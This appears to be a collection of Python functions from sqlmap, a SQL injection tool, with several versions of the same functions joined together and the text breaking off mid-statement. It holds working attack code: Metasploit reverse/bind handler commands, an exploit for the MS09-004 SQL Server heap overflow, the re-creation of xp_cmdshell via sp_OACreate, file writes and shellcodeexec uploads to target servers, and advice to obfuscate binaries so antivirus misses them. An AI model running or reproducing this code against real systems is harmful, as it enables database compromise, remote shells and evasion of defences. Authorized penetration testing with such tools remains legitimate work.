def getRemoteTempPath(self): if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath
def forgeCaseStatement(self, expression): """ Take in input a query string and return its CASE statement query string. Example: Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y' Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END) @param expression: expression to be processed @type num: C{str} @return: processed expression @rtype: C{str} """ caseExpression = expression if Backend.getIdentifiedDbms() is not None: caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] return caseExpression
def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " test = readInput(message, default="N") if not test or test[0] in ("n", "N"): conf.os = os else: conf.os = os Backend.setOs(conf.os)
def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) if Backend.isDbms(DBMS.DB2): rootQuery = queries[DBMS.DB2].banner for query in (rootQuery.query, rootQuery.query2): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if kb.data.banner: break else: query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set(["Windows"]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set(["Linux"]) elif conf.os: kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])]) if conf.os: setOs() return kb.data.banner
def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) conf.db = None conf.tbl = None conf.col = None kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns
def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=API_CONTENT_TYPE.CURRENT_DB) elif Backend.isDbms(DBMS.ORACLE): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=API_CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=API_CONTENT_TYPE.CURRENT_DB)
def _forgeMsfCliCmd(self, exitfunc="process"): if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'"
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False self.checkDbmsOs() if localFile.endswith('_'): localFile = decloakToTemp(localFile) if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the %s file with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the %s file with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None return written
def osBof(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " inp = readInput(msg, default="N") if inp and inp[0].lower() == "y": dos = True else: dos = False if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): first, last = 1, 6 elif Backend.isDbms(DBMS.PGSQL): first, last = 12, 6 elif Backend.isDbms(DBMS.MSSQL): first, last = 29, 9 else: raise SqlmapUnsupportedFeatureException("unsupported DBMS") query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)): query = fieldsStr else: query = expression if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(query, lengthQuery % query, 1) else: lengthExpr = lengthQuery % expression return unescaper.escape(lengthExpr)
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ZERO() IS 0") if result: infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warn(warnMsg) return False else: setDbms(DBMS.H2) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def writeFile(self, localFile, remoteFile, fileType=None): self.checkDbmsOs() if localFile.endswith("_"): content = decloak(localFile) _ = os.path.split(localFile[:-1])[-1] prefix, suffix = os.path.splitext(_) handle, localFile = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) with open(localFile, "w+b") as f: f.write(content) if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): debugMsg = "going to upload the %s file with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) self.stackedWriteFile(localFile, remoteFile, fileType) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the %s file with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) self.unionWriteFile(localFile, remoteFile, fileType) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None
def setHandler(): """ Detect which is the target web application back-end database management system. """ count = 0 dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" ) dbmsObj = [ ( MYSQL_ALIASES, MySQLMap, MySQLConn ), ( ORACLE_ALIASES, OracleMap, OracleConn ), ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ), ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ), ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ), ( ACCESS_ALIASES, AccessMap, AccessConn ), ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ), ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ), ( SYBASE_ALIASES, SybaseMap, SybaseConn ), ] if Backend.getIdentifiedDbms() is not None: for i in xrange(len(dbmsObj)): dbmsAliases, _, _ = dbmsObj[i] if Backend.getIdentifiedDbms().lower() in dbmsAliases: if i > 0: pushValue(dbmsObj[i]) dbmsObj.remove(dbmsObj[i]) dbmsObj.insert(0, popValue()) break for dbmsAliases, dbmsMap, dbmsConn in dbmsObj: if conf.dbms and conf.dbms not in dbmsAliases: debugMsg = "skipping test for %s" % dbmsNames[count] logger.debug(debugMsg) count += 1 continue handler = dbmsMap() conf.dbmsConnector = dbmsConn() if conf.direct: logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 conf.dbmsConnector.connect() if handler.checkDbms(): conf.dbmsHandler = handler break else: conf.dbmsConnector = None # At this point back-end DBMS is correctly fingerprinted, no need # to enforce it anymore Backend.flushForcedDbms()
def _tableGetCount(self, db, table): if not db or not table: return None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() table = table.upper() if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = "SELECT %s FROM %s" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(table, True), ) else: query = "SELECT %s FROM %s.%s" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True), ) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append( safeSQLIdentificatorNaming(table, True) ) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [ safeSQLIdentificatorNaming(table, True) ]
def setHandler(): """ Detect which is the target web application back-end database management system. """ items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), ] _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items) if _: items.remove(_) items.insert(0, _) for name, aliases, Handler, Connector in items: if conf.dbms and conf.dbms not in aliases: debugMsg = "skipping test for %s" % name logger.debug(debugMsg) continue handler = Handler() conf.dbmsConnector = Connector() if conf.direct: logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 dialect = DBMS_DICT[name][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) sqlalchemy.connect() if sqlalchemy.connector: conf.dbmsConnector = sqlalchemy else: conf.dbmsConnector.connect() else: conf.dbmsConnector.connect() if handler.checkDbms(): conf.dbmsHandler = handler break else: conf.dbmsConnector = None # At this point back-end DBMS is correctly fingerprinted, no need # to enforce it anymore Backend.flushForcedDbms()
def initEnv(self, mandatory=True, detailed=False, web=False): self.__initRunAs() if self.envInitialized: return if web: self.webInit() else: self.checkDbmsOs(detailed) if mandatory and not self.isDba(): warnMsg = "the functionality requested might not work because " warnMsg += "the session user is not a database administrator" logger.warn(warnMsg) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): self.udfInjectSys() elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True
def _tableGetCount(self, db, table): if Backend.isDbms(DBMS.DB2): query = "SELECT %s FROM %s.%s--" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True), ) else: query = "SELECT %s FROM %s.%s" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True), ) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append( safeSQLIdentificatorNaming(table, True) ) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [ safeSQLIdentificatorNaming(table, True) ]
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False
def __xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd += "EXEC master..sp_configure 'show advanced options', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " inject.goStacked(cmd) self.__randStr = randomStr(lowercase=True) cmd += "DECLARE @%s nvarchar(999); " % self.__randStr cmd += "set @%s='" % self.__randStr cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC master..sp_executesql @%s;" % self.__randStr if Backend.isVersionWithin(("2005", "2008")): cmd += " RECONFIGURE WITH OVERRIDE;" inject.goStacked(cmd)
def bannerParser(banner): """ This function calls a class to extract information from the given DBMS banner based upon the data in XML file """ xmlfile = None if Backend.isDbms(DBMS.MSSQL): xmlfile = paths.MSSQL_XML elif Backend.isDbms(DBMS.MYSQL): xmlfile = paths.MYSQL_XML elif Backend.isDbms(DBMS.ORACLE): xmlfile = paths.ORACLE_XML elif Backend.isDbms(DBMS.PGSQL): xmlfile = paths.PGSQL_XML if not xmlfile: return checkFile(xmlfile) if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(paths.GENERIC_XML, handler) else: handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler)
def initEnv(self, mandatory=True, detailed=False, web=False): self.__initRunAs() if self.envInitialized: return if web: self.webInit() else: self.checkDbmsOs(detailed) if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the curent session user is not a database administrator" if not conf.dCred and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.PGSQL ): warnMsg += ". You can try to to use option '--dbms-cred' " warnMsg += "to execute statements as a DBA user if you " warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" logger.warn(warnMsg) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): self.udfInjectSys() elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True
def currentDb(self,data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data) elif Backend.isDbms(DBMS.ORACLE): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data) else: self.string("current database", data)
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32" else: self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName # __basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") __basename = os.path.basename(self.shellcodeexecLocal) if web: self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename) else: self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory) else: self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile shellcodeexec with " errMsg += "slight modification to the source code or pack it " errMsg += "with an obfuscator software" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True
def cleanup(self, onlyFileTbl=False, udfDict=None): """ Cleanup database from sqlmap create tables and functions """ if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): return if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg)
def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)): if selectTopExpr: query = selectTopExpr.group(1) elif selectDistinctExpr: query = selectDistinctExpr.group(1) elif selectFromExpr: query = selectFromExpr.group(1) elif selectExpr: query = selectExpr.group(1) else: query = expression if ( select and re.search("\A(COUNT|LTRIM)\(", query, re.I) ) or len(query) <= 1: return query if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(query, lengthQuery % query, 1) else: lengthExpr = lengthQuery % expression return unescaper.unescape(lengthExpr)
def heuristicCheckDbms(injection): retVal = None if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: pushValue(kb.injection) kb.injection = injection randStr1, randStr2 = randomStr(), randomStr() for dbms in getPublicTypeMembers(DBMS, True): Backend.forceDbms(dbms) if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = "heuristic test showed that the back-end DBMS " infoMsg += "could be '%s' " % retVal logger.info(infoMsg) return retVal
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) total = conf.uColsStop+1 - conf.uColsStart count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix) if count: if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]): query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])] if count: query += ", %s" % conf.uChar if Backend.getIdentifiedDbms() in FROM_TABLE: query += FROM_TABLE[Backend.getIdentifiedDbms()] validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count) return validPayload, vector
def __init__(self, dbms): Backend.forceDbms(dbms)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = expression[len("SELECT "):] if re.search(r"(?i)\(.+\)\Z", booleanExpression): booleanExpression = "%s=%s" % ( booleanExpression, "'1'" if "'1'" in booleanExpression else '1') else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= 